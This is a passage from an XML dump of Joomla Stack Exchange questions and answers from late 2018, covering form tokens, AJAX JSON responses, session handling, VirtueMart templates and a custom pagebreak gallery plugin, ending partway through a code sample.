LastActivityDate="2018-10-25T08:20:45.790" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23650" PostTypeId="2" ParentId="23642" CreationDate="2018-10-25T08:53:52.040" Score="1" Body="&lt;p&gt;If you are creating a test questionnaire page where visitors fill out test questions as guests and submit their answers, then the whole process is usually handled by secure &lt;strong&gt;session/user/csrf tokens&lt;/strong&gt; which is (created and) submitted together with their filled out tests Forms. The questionnaire Form should include fields like name, email address and CSRF form token (as hidden field) beside the test questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can study of creating front-end forms in Joomla 3 deeper here: &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_a_front-end_form&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_a_front-end_form&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla Form creation extensions, I think, all have solved this question already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the approach of understanding and answering your question is the same as web stores solved this issue by letting visitors to place an order in web shops without registration - as guest users. If I understood your question correctly. I hope this can help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additionally,&lt;/strong&gt; you can also password protect your test questionnaire Form (pages) with available Joomla extensions, thus it will be unavailable for unintended public. You do not really need registration that way.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-10-26T11:26:01.703" LastActivityDate="2018-10-26T11:26:01.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23651" PostTypeId="2" ParentId="23641" CreationDate="2018-10-25T09:00:19.460" Score="2" Body="&lt;p&gt;I haven't tested it but it looks like the free plugin from Acyba will do this for you: &lt;a href=&quot;https://www.acyba.com/acymailing/282-auto-login-newsletter-joomla.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.acyba.com/acymailing/282-auto-login-newsletter-joomla.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin is designed so that links in newsletter emails can contain the username and password as parameters for login but you don't have to include the link to a newsletter.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-10-25T09:00:19.460" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23652" PostTypeId="2" ParentId="22680" CreationDate="2018-10-25T09:11:38.083" Score="0" Body="&lt;p&gt;Run a backup first and then use Regular Labs DBReplacer to find and replace the relevant links in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last version of DBReplacer that is compatible with Joomla 1.5 is version 2.2.2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.regularlabs.com/extensions/dbreplacer/changelog#v2.2.2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.regularlabs.com/extensions/dbreplacer/changelog#v2.2.2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-10-25T09:11:38.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23653" PostTypeId="2" ParentId="22733" CreationDate="2018-10-25T14:10:51.103" Score="0" Body="&lt;p&gt;This option is not available in Search component configuration but is available per menu item. Create &lt;code&gt;Search Form or Search Results&lt;/code&gt; menu item and set &lt;code&gt;Search For&lt;/code&gt; option in &lt;code&gt;Options&lt;/code&gt; tab.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-10-25T14:10:51.103" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23654" PostTypeId="2" ParentId="20961" CreationDate="2018-10-25T20:31:12.583" Score="1" Body="&lt;p&gt;You can copy one of the fields in:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;\libraries\joomla\form\fields&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;\components\com_yourcomponent\models\forms\fields&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and rename the copied field. Then change data of your new custom filed.&lt;/p&gt;&#xA;" OwnerUserId="12247" LastEditorUserId="168" LastEditDate="2018-10-26T08:00:30.350" LastActivityDate="2018-10-26T08:00:30.350" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23656" PostTypeId="2" ParentId="23460" CreationDate="2018-10-26T06:34:17.977" Score="1" Body="&lt;p&gt;&lt;code&gt;Created&lt;/code&gt; field in frontend article form contains &lt;code&gt;unset&lt;/code&gt; filter. This filter prevents field value from saving. You can change the filter with a content plugin. The example below also sets &lt;code&gt;showtime&lt;/code&gt; attribute to &lt;code&gt;true&lt;/code&gt; in case you want to enter time like in other date fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Form\Form;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgContentExample extends CMSPlugin&#xA;{&#xA;    protected $app;&#xA;&#xA;    public function onContentPrepareForm(Form $form, $data)&#xA;    {&#xA;        if ($this-&amp;gt;app-&amp;gt;isClient('site') &amp;amp;&amp;amp; $form-&amp;gt;getName() === 'com_content.article')&#xA;        {&#xA;            $form-&amp;gt;setFieldAttribute('created', 'filter', 'user_utc');&#xA;            $form-&amp;gt;setFieldAttribute('created', 'showtime', 'true');&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, the template override is still required to render the field.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-10-26T06:34:17.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23660" PostTypeId="2" ParentId="15613" CreationDate="2018-10-28T09:20:07.150" Score="-1" Body="&lt;p&gt;Bootstrap must be enabled in joomla by standard method in template, see j.docs. You can improve it by external bootstrap css and js.&lt;/p&gt;&#xA;" OwnerUserId="12683" LastEditorUserId="12352" LastEditDate="2018-10-28T11:56:51.533" LastActivityDate="2018-10-28T11:56:51.533" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23666" PostTypeId="2" ParentId="23111" CreationDate="2018-10-29T09:07:52.617" Score="1" Body="&lt;p&gt;If you're asking how to mark the value as selected in &lt;code&gt;Building&lt;/code&gt; field, compare the list values with current value (&lt;code&gt;$this-&amp;gt;value&lt;/code&gt;) and add &lt;code&gt;selected&lt;/code&gt; attribute when values match:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    foreach($rows as $row)&#xA;    {&#xA;        $return .= '&amp;lt;option value=&quot;'.htmlspecialchars($row-&amp;gt;alias, ENT_QUOTES).'&quot;';&#xA;        $return .= $this-&amp;gt;value == $row-&amp;gt;alias ? ' selected&amp;gt;' : '&amp;gt;';&#xA;        $return .= htmlspecialchars($row-&amp;gt;title, ENT_QUOTES);&#xA;        $return .= '&amp;lt;/option&amp;gt;';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you could extend &lt;code&gt;JFormFieldList&lt;/code&gt; instead. It already handles this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die();&#xA;&#xA;jimport('joomla.form.formfieldlist');&#xA;&#xA;class JFormFieldBuilding extends JFormFieldList&#xA;{&#xA;    protected $type = 'Building';&#xA;&#xA;    public function getOptions()&#xA;    {&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select(array($db-&amp;gt;quoteName('title', 'text'), $db-&amp;gt;quoteName('alias', 'value')))&#xA;            -&amp;gt;from($db-&amp;gt;quoteName('#__buildings'));&#xA;        $db-&amp;gt;setQuery($query);&#xA;&#xA;        return $db-&amp;gt;loadObjectList();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-10-30T09:17:30.923" LastActivityDate="2018-10-30T09:17:30.923" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23667" PostTypeId="1" CreationDate="2018-10-29T12:48:44.733" Score="0" ViewCount="2636" Body="&lt;p&gt;I'm pulling a module from our Joomla site to host onto our local servers and put back into Joomla as an iframe. I've gotten the source code, set up the database to mirror that of the Joomla. When I try to do a search, I get this error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught TypeError: Cannot read property 'HTML' of undefined&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is the js that is being called: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Functon to perform the actual search based on Method&#xA;function displayMethod(searchText, pageNumber) {&#xA;    var jqxhr = jQuery.ajax(&quot;index.php?option=com_ppsearchusd&amp;amp;view=ppsearchusd&amp;amp;task=displayMethod&amp;amp;format=json&amp;amp;searchText=&quot; + searchText + &quot;&amp;amp;pageNumber=&quot; + pageNumber)&#xA;        .success(function (result) {&#xA;            jQuery('#searchResults').html(result.data.HTML);&#xA;            jQuery('#alphaDiv').css('display', 'none');&#xA;&#xA;            /*jQuery('#searchResults').html(result.data.HTML);&#xA;            jQuery('#searchResult-detail').css('display', 'none');&#xA;            jQuery('#searchResults').css('display', 'block');&#xA;            jQuery('#alphaDiv').css('display', 'none');*/&#xA;&#xA;            jQuery('#searchResults #search-pagination').pagination({&#xA;                items: result.data.items,&#xA;                itemsOnPage: result.data.itemsOnPage,&#xA;                currentPage: result.data.currentPage,&#xA;                cssStyle: 'compact-theme',&#xA;                hrefTextPrefix: 'javascript:',&#xA;                onPageClick: function(pageNumber, event){&#xA;                    var searchText = jQuery('#searchTXT').val();&#xA;                    updateSearch(searchText, pageNumber);&#xA;                }&#xA;            });&#xA;        })&#xA;        .fail(function (jqxhr) {&#xA;            alert('status:' + jqxhr.status);&#xA;        });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I copy the ajax url and append it (on my local machine) url, it get a blank page, whereas on the actual site, I do get a success JSON response.  I'm sure I'm missing something that it is suppose to reference but I'm not sure what. I'm still relatively new to AJAX and js. I'm reviewing the original code and I'm not sure where &quot;HTML&quot; within the &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;jQuery('#searchResults').html(result.data.HTML);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;is defined but I don't see.&lt;/p&gt;&#xA;" OwnerUserId="12999" LastEditorUserId="12352" LastEditDate="2018-10-29T13:32:24.123" LastActivityDate="2018-10-30T21:44:08.807" Title="Uncaught TypeError: Cannot read property 'HTML' of undefined" Tags="|ajax|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23668" PostTypeId="2" ParentId="23667" CreationDate="2018-10-29T13:41:06.487" Score="1" Body="&lt;p&gt;When my helper.php file passes data back to the ajax call, with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo new JResponseJson($response);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I parse the response like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.success(function (result) {&#xA;    result = JSON.parse(result);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can access &lt;code&gt;HTML&lt;/code&gt; data with: &lt;code&gt;result.data.HTML&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant resource: &lt;a href=&quot;https://docs.joomla.org/JSON_Responses_with_JResponseJson&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/JSON_Responses_with_JResponseJson&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I first &quot;came to Joomla&quot; in March of 2018, I needed to write my first ajax driven module.  @JamesGarrett got me going with &lt;a href=&quot;https://joomla.stackexchange.com/a/22576/12352&quot;&gt;this great answer&lt;/a&gt;. (and Lodder gave me &lt;a href=&quot;https://joomla.stackexchange.com/a/22575/12352&quot;&gt;great advice&lt;/a&gt; too)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A note about deprecation from&lt;/strong&gt; &lt;a href=&quot;http://api.jquery.com/jquery.parsejson/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://api.jquery.com/jquery.parsejson/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As of jQuery 3.0, $.parseJSON is deprecated. To parse JSON strings use&#xA;  the native JSON.parse method instead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-10-30T21:44:08.807" LastActivityDate="2018-10-30T21:44:08.807" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23669" PostTypeId="2" ParentId="23667" CreationDate="2018-10-29T15:30:17.973" Score="0" Body="&lt;p&gt;Have you copied the &lt;strong&gt;full Joomla site&lt;/strong&gt; to your local server, or only a module from the live site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, on your local server where the Joomla is running(?), is there a component also installed which is called &quot;com_ppsearchusd&quot;? (This component is called in the AJAX request above). It looks like that the AJAX call does not find the component (and the requested task) on your local server. That way it cannot work...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;full component with the&lt;/strong&gt; view, model, controller, helper, or any other component folders should be on your local Joomla to get the AJAX call correctly and it will give the correct response on the request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After clearing the real problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you explained what you are up to with this and where and how you try to run this jQuery AJAX request, it became relevantly clearer why this was not working for you (the given error message does not matter here at all). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this AJAX call you actually call the function inside &lt;strong&gt;&quot;com_ppsearchusd&quot; component&lt;/strong&gt; where you should find the requested function which is called &lt;strong&gt;displayMethod()&lt;/strong&gt;. You should find this Joomla/PHP function most probably inside the 'controller' file (which is the controller of the above mentioned component). &lt;strong&gt;This function is what you have to focus on&lt;/strong&gt; and make this function work on your local server. And this is the function you should call via the jQuery AJAX call *(not like you did with this line (this has to be reformulated line in the jQuery code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var jqxhr = jQuery.ajax(&quot;index.php?option=com_ppsearchusd&amp;amp;view=ppsearchusd&amp;amp;task=displayMethod&amp;amp;format=json&amp;amp;searchText=&quot; + searchText + &quot;&amp;amp;pageNumber=&quot; + pageNumber)*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This above AJAX call,&lt;/strong&gt; this way, will never work on your server if your local server is not running Joomla itself. This is also a very problematic call from another/external server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The requested, mentioned function from the Controller most probably invokes a function from the Model and then gets the data from the Database and then gives it back as a response data (as result), just to cover the whole cycle of this jQuery call (and that's how 'HTML' finally becomes defined). So you see, a lot of dependencies. It is not just about stripping down a Joomla module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(a small additonal issue:&lt;/strong&gt; another problem you might be facing is a security issue, after you solved the above jQuery call. Since usually every AJAX call inside Joomla carries a security token (CSRF token) which is created and carried with the AJAX call and checked by Joomla inside the called function. This security issue is solved within Joomla, but I am not sure how it is solved on your local server without Joomla, but you will figure that out probably if it becomes an issue at all) So it is still a question for me that the response on the AJAX call will be given from your local server or from the live Joomla site server? I do not see this clear yet in your project. Of course the logical answer is that the response will be given from where the called function is. This is a bit confusing subject... for anybody. But I just hope this can show you some direction in this question.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-10-29T20:24:55.533" LastActivityDate="2018-10-29T20:24:55.533" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="23670" PostTypeId="1" CreationDate="2018-10-29T19:36:56.697" Score="1" ViewCount="118" Body="&lt;p&gt;Virtuemart 3.4.2, joomla 3.8&#xA;i try copy code from category template, but cant fix this errors: &#xA;at /my_template/&lt;strong&gt;html/com_virtuemart/manufacturer/details.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOW I HAVE Two ERRORS&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Call to a member function getLimitBox() on null&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;display-number&quot;&amp;gt;&amp;lt;?php echo 'по';?&amp;gt;&amp;lt;?php echo $this-&amp;gt;vmPagination-&amp;gt;getLimitBox ($this-&amp;gt;category-&amp;gt;limit_list_step); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Call to a member function getPagesLinks() on null&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;vmPagination-&amp;gt;getPagesLinks (); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why this code from category not work in manufacturer template ? Please help , need worked code..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try copy template from category  to manufacturer folder and see this errors ..&lt;/p&gt;&#xA;" OwnerUserId="12683" LastActivityDate="2024-02-06T03:04:45.530" Title="Virtuemart 3.4 - products on manufacturer page" Tags="|joomla-3.x|php|virtuemart|joomla3.8|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23671" PostTypeId="2" ParentId="23670" CreationDate="2018-10-29T21:05:42.000" Score="0" Body="&lt;p&gt;It's not working, because Joomla is not working this way. You cannot just copy a part of code from one template to another template. It would be very bad if Joomla (or any other CMS framework) worked that way nowadays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In your particular case:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;vmPagination-&amp;gt;getLimitBox ($this-&amp;gt;category-&amp;gt;limit_list_step)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;vmPagination-&amp;gt;getPagesLinks ();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;are not defined in &lt;strong&gt;view.html.php&lt;/strong&gt; file in the &lt;strong&gt;views/manufaturer&lt;/strong&gt; folder and that is why it is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You most probably need a Joomla developer, who understands the whole Joomla structure, to make this kind of pages work the way you would like to. Otherwise, I am sorry to say this, but I am a bit afraid that you will crash your site soon.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastActivityDate="2018-10-29T21:05:42.000" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23672" PostTypeId="1" AcceptedAnswerId="23680" CreationDate="2018-10-30T01:49:47.337" Score="0" ViewCount="762" Body="&lt;p&gt;Apologize for my English. I have a boring and very vital problem with Joomla! Session.&#xA;When a table of data appears on the first page, a series of information is stored in the session as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$session-&amp;gt;set('userRecog', $user-&amp;gt;id);&#xA;$session-&amp;gt;set('qmanageIdsArray', $qmanageIdsArray);&#xA;$session-&amp;gt;set('userAccessLevel', $userAccessLevel);&#xA;$session-&amp;gt;set('qbookIdArr', $qbookIdArr);&#xA;$session-&amp;gt;set('quserIdArr', $quserIdArr);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In another page I want to get session data with new values as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$userRecog = $session-&amp;gt;get('userRecog');&#xA;$qmanageIdsArray = $session-&amp;gt;get('qmanageIdsArray');&#xA;$userAccesslvl = $session-&amp;gt;get('userAccessLevel');&#xA;$qbookIdArr = $session-&amp;gt;get('qbookIdArr');&#xA;$quserIdArr = $session-&amp;gt;get('quserIdArr');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When new data is merged with the table and reload the page, session set with new tables data. Then I want to get stored session data but the data stored in the old session appears. I have to navigate the page for storing new session values of the new data table.&#xA;refreshing the page, clearing session, destroying the session, logging out and log in again user, and changing browser doesn't resolve the problem.&#xA;This problem has taken me all the time for 3 days and I've used any solution, but the problem is still there.&#xA;Can anyone help me?&lt;/p&gt;&#xA;" OwnerUserId="12247" LastActivityDate="2018-10-31T00:48:35.960" Title="Joomla session get function return old values and don't update with new value" Tags="|joomla-3.x|session|" AnswerCount="2" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="23673" PostTypeId="2" ParentId="23672" CreationDate="2018-10-30T05:01:16.430" Score="0" Body="&lt;p&gt;You could write a condition that checks the session for a &lt;code&gt;userRecog&lt;/code&gt; key.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;if ($session-&amp;gt;has('userRecog')) {&#xA;    echo &quot;Old&quot;;&#xA;    // don't set with old data&#xA;} else {&#xA;    echo &quot;New&quot;;&#xA;    $session-&amp;gt;set('userRecog', $user-&amp;gt;id);&#xA;    $session-&amp;gt;set('qmanageIdsArray', $qmanageIdsArray);&#xA;    $session-&amp;gt;set('userAccessLevel', $userAccessLevel);&#xA;    $session-&amp;gt;set('qbookIdArr', $qbookIdArr);&#xA;    $session-&amp;gt;set('quserIdArr', $quserIdArr);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Subsequent page reloads will not engage the initial battery of &lt;code&gt;set()&lt;/code&gt; calls.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="168" LastEditDate="2018-10-30T08:29:39.220" LastActivityDate="2018-10-30T08:29:39.220" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23674" PostTypeId="1" AcceptedAnswerId="23702" CreationDate="2018-10-30T07:34:37.610" Score="0" ViewCount="177" Body="&lt;p&gt;I wrote a function in an article override to search a folder for images and create a pagebreak behavior per image in an article. All works fine except for a 404 error being returned for each pagination link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I determined that the error is caused by Joomla's pagebreak content plugin &lt;strong&gt;pagebreak.php&lt;/strong&gt; where the condition is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (StringHelper::strpos($row-&amp;gt;text, 'class=&quot;system-pagebreak') === false)&#xA;    {&#xA;        if ($page &amp;gt; 0)&#xA;        {&#xA;            throw new Exception(JText::_('JERROR_PAGE_NOT_FOUND'), 404);&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I comment out the line &lt;strong&gt;throw new Exception(JText::_('JERROR_PAGE_NOT_FOUND'), 404);&lt;/strong&gt; or disable the plugin the process works perfectly. However, being that the file is subject to overwriting on updates, that is not an ideal option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pagebreak='';&#xA;if(preg_match('#\{pagebreakgallery=\&quot;(.*?)\&quot;\}#i', $item-&amp;gt;text, $folder)) &#xA;{&#xA;    $imagesDir = JPATH_ROOT.'/images/photogallery/'.$folder[1].'/';&#xA;    $images = str_replace(JPATH_ROOT, Juri::root(true), glob($imagesDir . '*.{jpg,jpeg,png,gif}', GLOB_BRACE));&#xA;&#xA;    foreach($images as $image) {&#xA;      $page_break[] = '&amp;lt;img src=&quot;'.$image.'&quot; /&amp;gt;';&#xA;    }&#xA;    $item-&amp;gt;text = str_replace($folder[0], '', $item-&amp;gt;text);&#xA;&#xA;    $pagenum = 0;&#xA;    if($app-&amp;gt;input-&amp;gt;get('start') != '')&#xA;        $pagenum = $app-&amp;gt;input-&amp;gt;getInt('start');&#xA;&#xA;    $pages = count($page_break);&#xA;    if($pages &amp;gt; 0)&#xA;    {&#xA;        $pagelinks = new JPagination($pages, $pagenum, 1);&#xA;        $pagebreak .= $page_break[$pagenum];&#xA;        $pagebreak .= '&#xA;            &amp;lt;div class=&quot;paging&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;pagecount&quot;&amp;gt;' . $pagelinks-&amp;gt;getPagesCounter() . '&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;pager&quot;&amp;gt;' . $pagelinks-&amp;gt;getPagesLinks() . '&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        ';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I resolve this error occurrence? &lt;/p&gt;&#xA;" OwnerUserId="12862" LastEditorUserId="12352" LastEditDate="2018-11-30T02:44:08.043" LastActivityDate="2018-11-30T02:44:08.043" Title="Joomla pagebreak causing 404 error in custom pagebreak coding. Seeking a solution" Tags="|joomla-3.x|overrides|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23675" PostTypeId="2" ParentId="23534" CreationDate="2018-10-30T08:14:32.370" Score="0" Body="&lt;p&gt;Load the fields with &lt;code&gt;FieldsHelper::getFields()&lt;/code&gt;. This allows to access each field individually by its name.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach(FieldsHelper::getFields('com_content.categories', $child) as $field) : ?&amp;gt;&#xA;    &amp;lt;?php $child-&amp;gt;jcFields[$field-&amp;gt;name] = $field; ?&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;?php echo &quot;test:&quot;.$child-&amp;gt;jcFields['titre-discipline']-&amp;gt;label; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you just want to render the fields using the standard layout, use &lt;code&gt;FieldsHelper::render()&lt;/code&gt; instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo FieldsHelper::render(&#xA;    'com_content.categories',&#xA;    'fields.render',&#xA;    array('context' =&amp;gt; 'com_content.categories', 'item' =&amp;gt; $child, 'fields' =&amp;gt; FieldsHelper::getFields('com_content.categories', $child))&#xA;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-10-30T13:53:15.897" LastActivityDate="2018-10-30T13:53:15.897" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23676" PostTypeId="2" ParentId="23674" CreationDate="2018-10-30T08:40:38.780" Score="1" Body="&lt;p&gt;Disabling the plugin would work - it won't be re-enabled on updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what you're doing is wrong in general. There's a fine line between making layout overrides and hacking them to a point where they no longer should be layouts. For this purpose you should try to make your own component or find a 3rd party component that meets your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use &lt;code&gt;Pagination&lt;/code&gt; class without causing conflicts with current component's links, pass the fourth argument when instantiating the class. This is a prefix to be used for generating links. Use the same prefix when getting input variables.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Pagination\Pagination;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\CMS\Uri\Uri;&#xA;use Joomla\Filesystem\Folder;&#xA;&#xA;class PlgContentPagebreakgallery extends CMSPlugin&#xA;{&#xA;    protected $app;&#xA;&#xA;    public function onContentPrepare($context, &amp;amp;$item, &amp;amp;$params, $itemPage = 0)&#xA;    {&#xA;        if (!preg_match('#\{pagebreakgallery=\&quot;(.*?)\&quot;\}#i', $item-&amp;gt;text, $folder))&#xA;        {&#xA;            // Shortcode not found.&#xA;            return true;&#xA;        }&#xA;&#xA;        // Remove the shortcode.&#xA;        $item-&amp;gt;text = str_replace($folder[0], '', $item-&amp;gt;text);&#xA;&#xA;        // Check that we are on article view.&#xA;        if ($this-&amp;gt;app-&amp;gt;input-&amp;gt;get('option') !== 'com_content' || $this-&amp;gt;app-&amp;gt;input-&amp;gt;get('view') !== 'article')&#xA;        {&#xA;            return true;&#xA;        }&#xA;&#xA;        $imagesDir = '/images/' . $folder[1] . '/';&#xA;&#xA;        try&#xA;        {&#xA;            $images = Folder::files(JPATH_ROOT . $imagesDir, '(?i:.(jpg|jpeg|png|gif))$');&#xA;        }&#xA;        catch(\Exception $e)&#xA;        {&#xA;            // Directory doesn't exist.&#xA;            return true;&#xA;        }&#xA;&#xA;        if (!$pages = count($images))&#xA;        {&#xA;            // No images.&#xA;            return true;&#xA;        }&#xA;&#xA;        // Prefix used for pagination links.&#xA;        $prefix = 'pagebreakgallery_';&#xA;        $page   = $this-&amp;gt;app-&amp;gt;input-&amp;gt;getInt($prefix . 'limitstart', 0);&#xA;&#xA;       